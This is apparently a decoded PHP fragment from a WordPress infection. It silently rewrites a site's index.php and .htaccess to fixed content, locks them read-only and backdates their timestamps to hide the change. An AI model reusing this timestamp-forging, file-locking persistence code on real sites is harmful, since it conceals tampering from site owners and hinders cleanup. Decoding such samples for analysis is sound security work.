PHP Decode

<?  function my_correct($dir) { 
    $time = 0; 
    $path = $dir . '/index.php'; 
    $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZW 
FkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3 
JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbG 
F0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg=='); 
    if (file_get_contents($path) != $content) { 
        chmod($path, 0644); 
        file_put_contents($path, $content); 
        chmod($path, 0444); 
        $time = my_time($dir); 
        touch($path, $time); 
    } 
 
    $path = $dir . '/.htaccess'; 
    $content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg=='); 
    if (file_exists($path) AND file_get_contents($path) != $content) { 
        chmod($path, 0644); 
        file_put_contents($path, $content); 
        chmod($path, 0444); 
        if (!$time) { 
            $time = my_time($dir); 
        } 
        touch($path, $time); 
    } 
} 
 ?>